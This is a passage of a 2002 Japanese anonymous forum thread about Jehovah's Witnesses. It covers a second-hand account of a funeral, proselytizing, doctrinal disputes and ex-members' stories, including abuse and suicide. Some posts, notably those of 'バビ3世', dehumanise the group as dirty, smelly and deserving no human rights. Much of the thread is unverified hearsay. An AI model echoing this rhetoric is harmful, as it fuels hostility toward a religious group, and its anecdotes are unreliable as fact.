昨日、親戚の息子さん(非信者)の葬儀に母と父が参列しました。その息子さんは2日前に首をつって自殺。躁鬱持ち。
母と(息子さんの)姉はエホバ。妹は無宗教。

葬儀に出席して、母たち、またその他の人たちが驚嘆していました。(エホバ式の葬儀はみんな初めてなもんで)
エホバの信者さんは喪服を着ず、赤い色の服やピンクの服(私服?)でした。
死体の置いてある部屋には妹さんと、両親と…(信者さん以外)は亡くなった息子の顔を見てあげ、涙を流す
妹さんをみんなで励ましてあげたそうです。その間、母&姉その他の信者さんは別室で寿司だなんだのドンちゃん騒ぎの盛り上りみたいでした。
死体の部屋?または死体は身が穢れるため、と言うエホバの教えがあるから、私たちは近づけないって言うのが理由でした。
そんな身内の対応に妹さん始め、私の両親や他の人も戸惑いを隠せなかったみたいです。

そして、聖職者?か、分りませんがそんな方が「死んだ○○(息子)さんはただの無になりました」と語っているのに、参列していた方の誰かが激怒していた。
最後くらい、暖かく送ってやる気持ちもないのか!なんて冷酷な人たちなんだ!と…。。妹さんもそれを聞いて、衝撃を受けて私の母に泣きくずれたみたいです。

そして、火葬も淡々としてるものだったそうです。
焼けた死体=骨には触れてはいけない?みたいな教えがあるらしく、骨をつまめないため、ハンマーで粉々に打ち砕いてそれを、一般家庭で使う掃除機で吸い取り、
ゴミ箱にポイ。。終了。

葬儀の始めから終わりまでの間、お花も一輪も飾られていなかったみたいです。

息子さんが死んだ理由は家庭環境だと、息子さんを知る人が言っていたそうです…。
これを聞いて、エホバは本当に恐ろしいと痛感した。
葬儀に参列した人たちがみんな、「これは最悪だ。息子さんに哀れみと深い追悼を申し上げたい」と誰もが言ってたと聞きました。

なんとも…唖然

368 :名無しさん@1周年:02/07/05 18:53
母と(息子さんの)姉はエホバ。妹は無宗教。
↑息子さんのご家族のことです

葬儀に出席して、母たち、またその他の人たちが驚嘆していました。(エホバ式の葬儀はみんな初めてなもんで)
↑この母たちは、私の母や父、その他の人たちのことです。
分りづらくてごめんなさい。

369 :名無しさん@1周年:02/07/05 20:55
死んでからエホ証式の葬式をして欲しくない人は
手遅れにならないうちに断絶しておこうネ!

370 :名無しさん@1周年:02/07/05 21:10
質問なんですが、
エホ証は母乳ってOKなんですか?母乳は血液が体内で変化したものだと
産婦人科で教えてもらったんですが・・・。

どなたか教えてください。

371 :名無しさん@1周年:02/07/05 21:16
変化してすでに血液とは別のモノになってる→無問題!

372 :名無しさん@1周年:02/07/05 22:22
    /)  /)
  /  ⌒  ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ●_ ●  | < エホバウザイんじゃボケ! 
 (〇 〜  〇 |  \_________ 
 /       |   
 |     |_/ | 

             (禁転載)


373 :名無しさん@1周年:02/07/05 22:42
はいはい、わかりましたよ

             (禁転載)



374 :名無しさん@1周年:02/07/05 23:11
>>367
くびをつって自殺した方が復活するかどうかは神のみぞ知ります。
自殺した人が復活しないというのは間違いです。
では

375 :名無しさん@1周年:02/07/05 23:16
うちの近くにも在るけど、ホントっウザイよ。
セールスじゃあるまいし

376 :名無しさん@1周年:02/07/05 23:27
伝道に行くと、とても失礼な人がたまにいます。金もらってやってるわけじゃないし、
ほんと憂鬱だ。

>>375
次は絶対に来ないでくださいと言えば、そこは、進入禁止チェックがいれられるので
来なくなります。それでやってください。

377 :名無しさん@1周年:02/07/05 23:57
>>376
で、絶対に来ないかと言えばそんなことはなく、
半年ごとにご機嫌伺いにやってきます。

378 :名無しさん@1周年:02/07/06 00:05
>>367
本人エホ症じゃなくっても、そんな酷い葬儀にされるんですか?;。;
許せません。絶対に許せません。
家は西本願寺派ですが、大谷派の葬儀には大谷派のやり方で参列しますし、
キリスト教だったら、やはり被葬者の宗教に従うと思います。

死んでから骨をハンマーで砕かれるなんて、気の毒すぎます。
エホ症の人は、仏様を何だと思っているのか・・・、

379 :名無しさん@1周年:02/07/06 00:12
>>376
>伝道に行くと、とても失礼な人がたまにいます。金もらってやってるわけじゃないし、
>ほんと憂鬱だ。


憂鬱になる前に、「自分は失礼ではなかったろうか?」と考えてみる事をおすすめします。

380 :名無しさん@1周年:02/07/06 00:17
フランスで、こんなサイトを発見!!
http://membres.lycos.fr/bibelforscher/

381 :boy's ◆yRaJFlJ. :02/07/06 00:20
好んでJW教信者が言うんだよな。
「金をもらってない」ってさ。
こう言えば、なんでも許されると思ってるんだよな。
この言葉を聞く度に、逆にJW教信者はすごく金に、
こだわっている気がするな。
母の日にプレゼント禁止って聞くと、
母の日にこだわってるな。と思ったりするのと一緒でさ。

ちょっと自慢してる様で言いたくないのだけどさ。
私はボランティア活動をやっていますが
自分で経費を払った上に行動もして、直接、自分に良いことないけど、
相手に対して「とても失礼な人がいます。」なんて考えた事ないなあ。
それって、思いっきり間違った考え方していると思う。。。


382 :名無しさん@1周年:02/07/06 00:23
 good job >>380

383 :名無しさん@1周年:02/07/06 00:25
なんかキャラが変わってきてるぞ>boy's
荒らしにムカついてるのか?

おちけつ。

384 :名無しさん@1周年:02/07/06 00:41
>>378
私も初めて聞いてびっくりしたよ。
火葬場に行くときのバスにも乗らないから(そういう教えなんだとさ)、しまいには参列に来ていた誰かが、ぶち切れたみたい。。
エホバは死体?を引き取らないから市がその死体=骨の始末をしなきゃいけないらしく、業者の人もすごい迷惑がってたみたいよ。
その骨を掃除機で吸うってのも、絶えられない人は激怒してた。火葬場の係りの人がこっそり、
「これがエホバのやり方なんですよ。わからない人には信じられない光景ですよね。私たちも始めは驚きました。」って何度も見てきているらしく、半分呆れ&怒った状態みたいでした。
魂抜かれちゃってるんでしょうね。。
それより、その葬儀に統一の信者さんも参列したのですが、火葬が終って骨をポイしたあとに、最後に賛美歌?を歌う事があったみたいなのですが、
エホバの賛美歌を何故か、統一信者さんも知っていて歌っていたって聞いて、なんでだろ…って思っていました。
エホバと統一は繋がってるんですかね??
取り合えず、エホバには近づかないように気をつけよ

385 :名無しさん@1周年:02/07/06 00:55
>>367 にわかに信じ難い話だ。漏れも現役なんで葬式には何度か出たことあるけど寿司だのどんちゃん騒ぎだのなんて見たことない。そこの会衆が終わってるというか、組織自体焼きが回ったというか。正直情けない。

386 :名無しさん@1周年:02/07/06 01:16
俺、長老と奉仕した時に寄った家の人からマンサツ受け取ったのをこの目でしっかりと見たからね。
長老は寄付に回しておきますとか言ってたけど本当に寄付したのか知らない、手切れ金のようだ、もう来ないでくれという意味らしい。

387 :名無しさん@1周年:02/07/06 01:18
>>385
まだまだ常識外れのネタがあるのですが、このくらいで辞めておきます。
エホバでは、祭壇も写真も飾らないんですね。。これもびっくりしたけどねw

つか、まだ学会の友人葬の方が情もあってましだなってオモータ。
いい勉強になりますた

388 :現役:02/07/06 01:58
>>386 当然その家は最訪問の対象です

389 :boy's ◆yRaJFlJ. :02/07/06 02:58
>>383さん
あ、キャラ変わちゃいましたね。気を付けますね。

理由は、私が聖句を引きながら、いくらこの様に書いてある。
みたいに書いてもJW信者さんは独自の論理を展開して
まともな反応が無かったからだと思いますね。

たまに国会議員が汚職をした時にTVニュースなどで
「永田町の論理」とか言われますけど、JW信者は「JWの論理」を
使いますね。こうなりますと「世間常識」を中心にして話しを進めなければ
ならないと思いまして聖句も最近は書きませんでした。

空白の荒らしにもイラついて切れましたね。

それと、私はJW信者から「書きたいこと書きやがって。」みたいに
思われてるかもしれませんが、書きたい事の3割ぐらいしか書いて無いですよ。
以前は2割ぐらいだと思います。また2割に戻しますね。

JWのお葬式の事が書いてありますけど、
お葬式の事で、私はもっと酷い経験をしまして、書きたいですが
ネタと思われそうですし、やはり故人に対しての遠慮とか有りまして
書けないですね。

英語でJW関連を検索するなら「Jehovah's Witnesses Crime」で
検索すると、かなり引っかかりますよ。えーと、Crimeは犯罪って意味です。

アメリカよりもヨーロッパの英語HPの方がJWに対して強力なようです。
私はJW専門のHPよりカルト全般のHPを読むことが多いです。
統一、人民寺院(だと思う)、JWが一緒に扱われてたりしますよ。


390 :名無しさん@1周年:02/07/06 03:28
エホ症の葬式で業者がブチ切れた話は
俺も聞いたことがある。

391 :名無しさん@1周年:02/07/06 06:24
ものみの塔聖書冊子協会は、悪魔サタンが自らの
倒錯した欲望を満足させるために作った組織です。

392 :名無しさん@1周年:02/07/06 06:36
 昔、エホバの人に誘われたて集会に行ってみた。十字架は杭だ杭だと絵まで
描いてある小冊子を見せられながら説得された。でも、イエスってダビデがサムエル記下
4章12節でやっているような木にかけることではなく、刑はローマの処刑方法に従っている
はずだよね。イエスの弟子のペトロは、イエスと同じではあまりにも恐れ多いということで、
X状十字架に逆さに磔にされることを選んで殉教したようだ。ローマの十字架は
その当時、T.+.X.などの形があったと常識があるのだが、エホバさんはこれに
強行に反対する。なんでエホバさんは、杭、杭と言うのかな?

393 :名無しさん@1周年:02/07/06 07:13
家にやってくるエホのおばちゃんとHした事あるぞ。雑誌を一回もらったらよく来るようになって、なかなかの美人なのでよし

394 :ヤンゴン:02/07/06 07:18
家にやってくるエホのおばちゃんとHした事あるぞ。雑誌を一回もらったらよく来るようになって、仲良くなった。若い男にはおいしい話だ・・・

395 :名無しさん@1周年:02/07/06 07:40
家にやってくるエホのお嬢様とHした事あるぞ。
おばちゃんよりええで・・・


396 :ヤンゴン:02/07/06 07:50
お嬢様は家はこないぞ。クリスチャンの人妻てのがそそられるのだよ。 もう一人来る人がいるけど、その人とはHできなかったべ。

397 :名無しさん@1周年:02/07/06 07:57
いい話だ

398 :ワンレン:02/07/06 08:15
15で自分から脱退したものです。ずっと自分と宗教との関係をはっきりさせたかったので
99年渡仏した時に、モンパルナス会衆へ交わったのですが、ちょうどホバがカルト
だと認められていた頃で、集会場も個人のもの?ぽかったです。地下に入っていく
ような構造でしたし。今は裁判でホバの方が勝ったらしいですね。僕の現役弟から
聞きました。勿論カソリック教会もプロテスタント教会へも足を運びましたよ。

あれからもう3,4年ですか。自分でしっかり立って歩かなければいけないと思って
いるのですが、僕の患っている鬱病がサタンのせいだ、首にかけている十字架のせいだ
など現役の家族が言ってきて参りました。

父(無神論)に泣きついて、今は私に対して「悪霊」がどうだとか言うなと止めて
貰っています。生理痛並にイライラします(w

399 :ワンレン:02/07/06 08:20
>>僕(しもべ)の現役弟から

>>僕(ぼく=わたしです)の患っている

400 :ワンレン:02/07/06 08:26
連続投稿すみません。
ぼくの祖父が亡くなった時も、幸い家族がホバ証と無神論の父・脱退したぼく
と別れていたので、骨をぼくたち二人で拾うことができました。遺影もぼくが…
弟がここをみているのでこれ以上書けなくてはがゆいです。あまり家族にこれ以上
の亀裂を生み出したくないので。ただ、これだけはわかって欲しい。

「エホバの世界は独特の社会。そこから出て現実で生きていこうとした時、
そのときが初めてこの世に産まれたのと同じだということ」を。
現実社会ではその時点で0歳なんです。現役の方は「自分で選んだのだから
苦しんで当たり前だろう」と藁ってくださいますけどw

401 :名無しさん@1周年:02/07/06 08:32
怖い話だ

402 :名無しさん@1周年:02/07/06 11:01
    /)  /)
  /  ⌒  ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  | ●_ ●  | < エホバウザイんじゃボケ! 
 (〇 〜  〇 |  \_________ 
 /       |   
 |     |_/ | 

             (禁転載)


403 :2世です:02/07/06 13:23
>>400
ふつうの親なら、子供がこの社会で生けていけることを目標に
自分の子供を育てるからね。
2世は、ふつうに成人できた1世の自分の親とも違うわけだし。
腹立ちますよ。

”背教者”の苦しみを藁う現役さんだって、しょせん釣られた魚のようなもの。
JWというイケスのなかでしか生けていけません。

しかし、苦しくても”背教”すなわちイケスを飛び出すのは、
人間として幸せです。





404 :ワンレン:02/07/06 14:35
その通りですね。
僕も女でありながら、無心論者である父だけをオヤだと思って生きてきました。
世間の常識もほとんど父から学びました。両親が共にホバでなかっただけでも
よかったのかもしれません。

405 :名無しさん@1周年:02/07/06 16:01
エホ症の人がどう思ってるのかしらないけど、
世の中の人がみんなエホ症になったら、社会は成り立ちません。

エホ症の人達は社会の恩恵を受けないでもらいたいと思いませんか?
たとえばマトモな葬式もしないのに家族や親類や友人でいることや、
学校行事に参加せずに卒業証書を受け取ることも、汚いことです。
そういう汚いものもきっぱりと拒否していただきたい。
都合の良いときだけキレイなフリをするのはやめてほしいです。
エホ症の人は自分たちは貴族だとでも思っているのか?

406 :バビ3世:02/07/06 17:34
そうじゃ、おめーらエホバ、社会の恩恵うけるな!!
やることなすこと汚いけれど、
体も汚い。
ちゃんとフロ入れよな、臭いから。
あ−キモイ!!

407 :boy's ◆yRaJFlJ. :02/07/06 18:02
ああ、「杭」か「十字架」の話ですけど
簡単に言ちゃいますと、イスライルに行ってイスライル人に直接聞くと
いいですよ。彼らは「十字架です。」と答えますから。
それに対して「いや、杭が正解です。」と理由をそえて説明できるJW
がいたらスゴいと思うけどね。

じゃ、JWはなぜ「杭」と言っているかは、
私の勝手な想像だけど、教祖のピラミッド好きがばれそうになったので
パフォーマンス的に十字架は異教からです。みたいな事を言いだしたん
じゃないかな。

それと、私も世の中全員がJW信者になったらどうなるか?
って想像した事が有りますよ。
スゴく住みづらくて、嫌な世界になると思いましたね。
だってね、世界中の人間が毎月同じ本を読んで、
ニューヨークからの指示を待つなんてウヒ!ってなりませんか。

JW信者は世の中の汚い部分を他人に押しつけていると感じますね。
自分にとって便利な物や都合の良い物だけを手に入れている気がしますね。

たとえば、柔道とか格闘技を否定しますが、自分が暴漢に襲われたときに
警察や一般警備員が暴漢を取り押さえるのに、格闘技など一切使わないで
言葉だけで暴漢を取り押さえて欲しい、と言うのでしょうか。


JWには普通の会話が普通に通じないから、なにを言っても無駄だけね。。。

408 :名無しさん@1周年:02/07/06 18:26
>>405
>マトモな葬式もしないのに

マトモとマトモじゃない違いはなんだい?坊主呼んでわけのわからない経読んでチーンがマトモなのかい


>学校行事に参加せずに卒業証書を受け取ることも、汚いことです。

汚いってのは裏金積んで学校に入ったり、先生に贈り物持っていて便宜をはかってもらうようなのが汚いってんだよ



409 :名無しさん@1周年:02/07/06 18:27
>>407
現在のエホではエジプトのピラミッドってどういう扱いなんですかね?
やはり邪悪なんでしょうか。

410 :2世です:02/07/06 19:03
>いつも穏やかなboy'sさん

私もホンネは「こんなイヤな宗教、一日も早くなくなってくれ〜〜っ!」
なんですけどね、
現役信者さんたちの心をムヤミに傷つけたくないので、抑えめに書き込みます。
ところが先日は某スレで、現役さんと間違えられてしまったのよ。
やはりアンチなら、そこそこはアンチらしくせにゃ、と思いました(w

411 :boy's ◆yRaJFlJ. :02/07/06 19:31
>>409
えーと、JWの女性伝道者さんに以前
JWの創始者がピラミッド好きらしいよ。
と言ったところすごく怒りました。
それ以来JWとピラミッドの関係を聞いていません。
怖かったです。。。

テーズ・ラッセルの墓の写真
http://www.jwic.com/cemetery.htm

>>410
ども、ども、最近怒りっぽくてすみません。


みなさん、すみません。。。m(__)m

412 :名無しさん@1周年:02/07/06 19:34
また、自作自演発覚

      エホ            最高            です♪
───────────────────────────────────
──‐ ∧_∧∧_∧───‐∧_∧ ‐∧_∧───∧_∧────‐ ∧_∧──
──‐( ・∀・)⊃Д`)───(     ⊃    ).──‐( ・∀・)───‐ r(    )──
──‐(O  / つ つ───(   / と   )──‐⊂⊂へノ────‐〉   つ──
──‐人  Y ゝ ) )───‐ノ  ハ―(  ( ノ───‐ 'ー(__)───⊂ 、  ノ───
──‐し(__) し し ───‐(_ノ_)― し'J────し' ───────し'────
───────────────────────────────────

    これは喝だ!          私も喝!
\_____ ___/   \___ ____/
        ∨           _ _∨
                   │□-□│ 
      (□-□)       │ △  |
      (( 〜))        | ノ─ヽ|
     /  ∨ \      / \Τ/ \   
  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
 \    |大 沢|        |張 本|          \  
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ |
   |       御 意 見 番 @ 2 c h.        |
   |                          .      |


413 :バビ3世:02/07/06 21:19
やることなすこと汚い、体汚い臭い、
加えて服装ダサイ。
中年でまだどっかの少女服装するの辞めてけれ
ヘドがでるー、バスガイドでもねーのに白い手袋スンナよ!!
ごく小さなことに忠実な者は‥‥‥
語って、駐車違反(集団で)平気でやってんじゃねーよボケ!!
精神的にイッちゃっているの多数。
こいつら人間として扱うのじゃなく、
某大学で動物実験用のどうぶつ(もの)としてあつかえば‥‥‥
お前らに人権無し!!

414 :名無しさん@1周年:02/07/06 21:52
俺もエホだったけど、今はもう違う(笑)
やめた理由はうざくなったから。
>413白い手袋は日に焼けるからじゃない?違うかな?

服装ださいのはほんと勘弁してほしいよ・・・


415 :名無しさん@1周年:02/07/06 21:52
>>413 >某大学で動物実験用のどうぶつ(もの)としてあつかえば‥‥‥
 ↑        
おまえの脳は実験用に最適だ 動物並みだからな!


416 :肉欲暴力:02/07/06 22:01
そーいやヱホバの人が証人会館とかいう集会所の前で殴り合いのけんかをしていた事があったなぁ原因は女性信者を寝取っただなんだって感じだったなぁ、ウケケッ・・(笑)わらっちゃったよマジで。

417 :バビ3世:02/07/06 22:17
>415 おぅ、カルト野郎。
オメーにブタの血でも輸血したろうか?
まあ、カルトに言葉は通じないってか‥‥このサルが!!

418 :名無しさん@1周年:02/07/06 22:18
喧嘩両成敗!

419 :名無しさん@1周年:02/07/06 22:26
>>バビ3世
>オメーにブタの血でも輸血したろうか?

そーか ブタ飼ってたのは知らなかったよ
それでよくもまあ人の体が臭いのなんのって言えたもんだな(笑)


420 :名無しさん@1周年:02/07/06 23:26
十字架か杭かなんて論争は全く無意味だ。
エホ症ってこういう本質的じゃないことに
こだわるんだよな。
まあ馬鹿だからしょうがないけど。

421 :名無しさん@1周年:02/07/06 23:31
社会の中で生きられない人間が、社会の外に居場所を
求めるんだよな。
だから宗教は本来社会の外にあるもので、社会とは
両立しえない。
宗教はそもそもカルトなんだよ。

422 :2世ワンレン ◆wUDH2Y5M :02/07/06 23:38
確かにそう思う。
ホバの中で、かなり鬱病発生率が高いのも
1.ホバの教義の為
2.そういう気質の人が集まりやすい為
大きくわけて、このような気がしてならないよ。

僕だって「見せしめです」と他人姉妹から言われた時は
なんで他人にこんなことされなきゃいけないんだ…。

実母に丸裸で追い詰められて、…皮が裂けた後ムチについた
血を拭った鬼の母は一生忘れない。

423 :名無しさん@1周年:02/07/07 00:02
エホバが最高なのに
ごらん、また>>1が糞スレ立てて暴れてるよ
                      ,!ヽ
                  ,!ヽ、    ,!  ヽ
            _,..ィ´ ̄`)-‐‐‐''   ヽ
            /  ´`)'´   _     !、
  またかよ… /  i-‐'´   , `     `!
   lヽ、  /  Y    ,! ヽ-‐‐/          l 
.  l >‐'´`   l   ノ   ヽ_/          ノ
  ,ノ    o   ヽ  l            _,イ
 i'.o  r┐      ヽ、 ヽ、_      ,..-=ニ_
 l   ,!-l、      ノヽ、,           ヽ
 ヽ        _,.ィ'.  ,!         、   `!、
  `ー-、_    く´    l          ヽ    l
     ,!    `!   l              ヽ、__ノ
     l   `!  `!  !              l
      l  l. l  , l  ヽ、 、_ ,ィ      ノ
     l、_,!  し'  l   l   `l    


424 :名無しさん@1周年:02/07/07 00:05
十字架の真の意味・・・
初めに言葉があった・・・この言葉(キリスト)とは神性のことであり十字架の垂直が表している。
言葉には響きがともなう。この響きは人間性のことであり、横木によって表される。
真ん中辺りの二つのものを繋ぎ止める釘は人間の改心を表している。
十字架であることには意義が有る。

425 :信者じゃないけど:02/07/07 00:07
>>421
それは勝手な思い込み。
もう少し宗教について考えてから書き込んでね。
つうか、エホだけ捉えて宗教全体を勘違いしている。
宗教は社会の外にあるものではありません。
エホがカルトかどうか知らないが、カルトと宗教は違います。
例えとして使うならまだしもね。

426 :名無しさん@1周年:02/07/07 00:24
>408
その事で不愉快に思う人達がいるという事は理解してるかな?
自分達が正しいからといって何でもやって良いという事にはならないんですよ。
葬式の上で不愉快な出来事が起こるのはエホ証に限らないけれど、
周りの人たちの気持ちについて少し考えてみるべき。
スレを読んでるとそういうところが欠けてるように感じる。

427 :名無しさん@1周年:02/07/07 00:52
>>422
ひどい。涙出る。
客観的な考え方ができ、やめられてほんとによかったですね。
あなたの知性に敬意を表します。

月並みな言い方しかできませんが、がんばってください。
いまだ心が囚われたままのご家族もいつかきっと目からうろこが落ちる日が
くるでしょう。その日のためにお祈りいたします。

428 :2世ワンレン ◆wUDH2Y5M :02/07/07 01:16
>>427
 ありがとうございます。
 救われる言葉です。

429 :名無しさん@1周年:02/07/07 02:42
>>408
エホ症のせいで普通の遺族友人が気分を害してるだろうが。
ふざけんな
昔エホ症の友人がいたんだがね。
宿題もやらない、レポートも出さない、作品も作らない、
ある時、その子とペアで作業してたんだがね、
途中からそいつが伝道のためとか言って学校休みだしたんだよ。
ハァ?伝道のタメに学校行けないのがエラいんだろ?
だったら成績下がるっていうリスクも甘受しやがれ、
ってことで、私は他の子とペアになったわけよ。
そしたらどうなったと思う?
その子の親が、「うちの子がいじめられてます」
って学校に言いに来たらしいんだよね。あーキモイっつうの。
つまり、自分のやるべきことをやらずに他人に迷惑をかけたり、
他人を自分のいいように使って何とも思わないエホ症の人間性、
またそのような行為を禁じる教義がないなんて
 全 く 以 て 汚 す ぎ る 宗 教 で す 。
ちなみにうちの担任は、理解のある人っていうか、
もう随分その子の処理に困っていたようで、その子の親に
「そちらの都合で休んでいるのですから、
 他の生徒の勉強まで遅らせないでください。」
って言ってくれたらしい。全くほんとにね。
あの子にはあの世での幸福があったかもしれないが(あんな奴が幸福になれるとは
思えないが)私には現世の生活を普通に送る方が大事です。


ほんっとに、エホ症は迷惑かけないでください。自覚してください。

430 :名無しさん@1周年:02/07/07 02:53
> エホ症のせいで気分を害してる

ふざけんな
当人のせいだよ!

431 :名無しさん@1周年:02/07/07 05:38
ガキが一番の被害者なのかしら
わたしのような33歳にもなったオバサンはそんな宗教に引っかかりません。
くるのよ家にも、2人で勉強シマしようてね。



432 :名無しさん@1周年:02/07/07 05:46
>>431
自分は絶対に騙されない!と豪語する奴に限って
カルトに引っかかるんだよな、これが。
心の隙を付かれてあっという間に転落への道を辿るよ。

お大事にね。

433 :名無しさん@1周年:02/07/07 06:34
エホ症に一般人の常識って無いんですね
死体処理は別の人にやらせて、自分たちだけ救われればいいと思ってる

最低。

434 :名無しさん@1周年:02/07/07 06:39
>>426
>その事で不愉快に思う人達がいるという事は理解してるかな?

エホ証は学んだことから葬式仏教の間違いに気づきその方式を避けている
反面、一般の人は葬式仏教をいわば丸飲みしてその方式を疑いもなく受け入れている
過去から習慣的に行っているがゆえに
葬式仏教を受け入れている人は自分たちと違っているという理由でエホ証を毛嫌いしている
自分たちが間違っているかどうかを考えることもしないでね


435 :名無しさん@1周年:02/07/07 16:11
>>434
言ってることの意味がよくわかりません。
死体処理を他人にさせてその他人が地獄へ行こうとどこへ行こうと知らない、
自分たちさえ助かればいい、
この世であくせく働く普通の人を、エホの使用人としか思ってないようにしか
見えません

436 :名無しさん@1周年:02/07/07 16:43
あなた方はどうして人を裁こうとするのですか?やめてください。
あなた方はいつも自分達が正しく他は間違っていると決め付ける。正しいのは神だけなのに(泣き)。これは神に対する冒涜です。
全ての争いはここから生じています。
よく考えてください。あなた方はあなた方の考えに合うか合わないかによって人を裁くのです。
全てを神に委ねなさい。そうすれば報いて下さるでしょう。

437 :名無しさん@1周年:02/07/07 16:46
この言葉はこの板にいる全ての人に捧げます。

438 :名無しさん@1周年:02/07/07 16:48
ものみの塔がぁゃιぃ
http://www.yomiuri.co.jp/kyoiku/08/20020702wm05.htm

439 :名無しさん@1周年:02/07/07 16:56
この世であくせく働く普通の人は、エホの使用人ですけど
何か不都合ですか

440 :xx:02/07/07 16:57
>>436
あんたわかってるね!
すばらしいことだ!

441 :xx:02/07/07 16:58
ちょっとまちがいもあるみたい

442 :名無しさん@1周年:02/07/07 17:34
聖書バカがいるな


443 : :02/07/07 18:02
思い出したくないことばかりなので、エホ系の情報にはふれないように
してるんだけど、今日は魔が差して、2chにまで来てしまった。

こんなに続いてるスレがあって驚いたよ。みんな恨んでるんだな。

444 :名無しさん@1周年:02/07/07 18:12
>>443
”魔が差して”という表現が超カワイイ!
また来てね

445 :名無しさん@1周年:02/07/07 18:26
現役の頃はピラミット学は悪魔崇拝で忌むべきものと教わったので
教祖がピラミッドマニアと知った時はビクーリしたよ

ttp://homepage3.nifty.com/possible/pages/shiryo/keirin/kiji/zuhyo.htm



446 :名無しさん@1周年:02/07/07 18:41
教祖の趣味は偶像崇拝じゃなく、信者の趣味偶像崇拝なんだろ。
まぁ、何処の組織でもあることだが・・・。上層部と末端の乖離だね。
少し末端賢いものが指摘すると、他の末端を使って皆でいじめにはいる。

447 :名無しさん:02/07/07 19:50
ものみの塔の創始者ラッセルのピラミッド教義も所詮はパクリ・・・。

『「エホバの証人」(「ものみの塔」)の創始者、
アメリカのチャールズ・テーズ・ラッセルも
スミスの影響を受けた一人であった。
彼はスミスの研究をもとに、
聖書の預言と大ピラミッドの予言を組み合わせた結果、
以下のようなことを発表した。

キリストの再臨は人に見られないまま、1874年に起きた。
この年から40年にわたる「取入れ」がはじまり、
その間に教会の真のメンバーがラッセルの指導のもとに集まる。
40年経った1914年が終わる前に、千年王国が始まるだろう……。

……1914年には第一次世界大戦が起きたが、
あいにく千年王国は来なかった。
「エホバの証人」は、後にピラミッド学を
教義から除外するようになったという。』

疑似歴史学事典 ピラミッド学
http://village.infoweb.ne.jp/~fwjf1899/tondemo/dic/pyramidology.html
http://village.infoweb.ne.jp/~fwjf1899/tondemo/

448 :名無しさん@1周年:02/07/07 23:20
エホバの証人と会話して気持ちの良かったことは無い。
ひっきりなしに訪問する伝道者を相手するのは大変、しかも
私の疑問に素早く答えてくれる伝道者は一人もいない。
私の生活にものみの塔の教えがどうして必要なのか説明でき
ないばかりか仲間の悪口を言い、仲間が信用できない口ぶり
であった。

449 :名無しさん@1周年:02/07/08 00:32
>>434
>葬式仏教を受け入れている人は自分たちと違っているという理由でエホ証を毛嫌いしている
>自分たちが間違っているかどうかを考えることもしないでね

お互い様でしょ。
自分達と違っているという理由で他人を毛嫌いしているのは。
自分達が間違っているかどうかを考えることをしないのも。

どちらが正しいのかではなく、相手にも感情があるという事を言ってるのよ。
それを踏みにじるような事をして、はたしてそれで良いのかなってこと。

>>430
気分を害した人がいるとして、それは当人のせいだなんて簡単に言わないで。
あなたにとって正しい事がすべての人にも正しいとは限らないのよ。
あなたにとって真実がひとつだとしても、それを感情で受け入れられない人も当然いるのよ。
そういう人達に対して、あなたは怒りを向ける事しかできないのでしょうか。

450 :421:02/07/08 00:43
>>425
「本来」、宗教とは社会の中に居場所が無い人に居場所を
与えるものなんだよ。社会が救えない人を救うのが宗教。
だから宗教は「本来」社会の外にあり、社会とは両立しえない。

しかし近代社会の発展途上で、このままでは社会が成り立たなく
なるので、社会の中に宗教があることにした(つまり社会と両立
し得るようにした)。しかし社会が救えない人を救うのが宗教
なのだから、社会の中に宗教があるというのは矛盾している。

古くからある宗教は、歴史の中で淘汰を経て、社会を滅ぼさない
ものだけが生き残った(そうでなければ社会の中で存在できない
から)。しかし新興宗教は、淘汰を経験していない分、宗教が
「本来」持つカルト的な面が表面化する。

社会の中で救われない人が、社会の中に存在する宗教で救われる
わけがない。だから有効な宗教ほど、社会の外に出ようとする。
多くの人が、他のキリスト教ではなくエホバに走るのは、他の
キリスト教では救われないから。



451 :名無しさん@1周年:02/07/08 00:50
>>421
待った。
えーと、それをこのスレでやるつもりなの?

452 :名無しさん@1周年:02/07/08 00:54
>>424
十字架であることに意義があるんじゃなくて、
人間が改心することに意義があるんだろ。
十字架はそれの象徴。

同じく、生命自体に意義があるんであって、
血はその象徴にすぎない。象徴にこだわるのは
偶像崇拝と同じだ。

453 :boy's ◆yRaJFlJ. :02/07/08 01:01
今日、めぼしい英語HPが有ったら、リンクをしようと思って
HPさがしましたが、なにしろ関連するHPが多くてまいりました。

まあ、どこの国も信者が問題を起こしていますね。

一番取り上げられるのは、やはり輸血問題みたいです。
JWICにカナダの16歳の少女の事が書かれていますが、
どの国でも、同じ様なトラブルがあるようです。
他には信者の犯罪ですかね。

・・・ああ、まずい!こんな時間だ寝ます。


454 :名無しさん@1周年:02/07/08 01:05
いや、この象徴として書かれてる部分を誤解して採っているってことを言いたかったんだとおもうよ。それが偶像崇拝だということは分かってるんじゃないかな?

455 :名無しさん@1周年:02/07/08 01:19
記憶が正しければ、映画「ゴーストバスターズ」では、屋上がピラミッドになっている,ニューヨークのビル(市庁舎?)が登場する。
もちろん悪魔の総本部として。

456 :名無しさん@1周年:02/07/08 01:22
宗教屋キモイ


457 :名無しさん@1周年:02/07/08 01:32
「ものみの塔」1982年6月1日号4ページ

世界の諸宗教は実に多種多様ですが,特定の 類似点が広く見られます。
例えば,南米の ブードゥー教,アフリカの部族民の宗教,東洋の大 宗教,
オーストラリアの原住民の宗教など,事実ほ とんどどの宗教も,
肉体の死後も生き続ける霊的 なものが人間にはあると教えています。
これらの諸宗教すべてがこのような類似の宗教 上のならわしを各々別個に発展させてきたという ことがあり得るでしょうか。
あるいは,それら諸 宗教が何らかの仕方でそうした概念を共通の源か ら得た可能性の方が大きいでしょうか。
確かに, そう考える方が道理にかなっています。
では,そ の共通の源とは何でしたか。。。。。

聖書によれば,これはその唯一の根源となる方 に対する反逆に端を発しています。
3,000年以上 昔の一文書の中に,ニムロデという名の男がこの 反逆を起こした人物であることが明らかにされて います。
ニムロデは都市の建設者となり,メソポ タミアとして知られる古代の地域に数々の都市を 築いてゆきました。。。。。

「死者の崇拝」という本の中で,J・ガルニエ 大佐はこう述べています。
「エジプト人,カルデ ア人,フェニキア人,ギリシャ人,ローマ人だけ でなく,
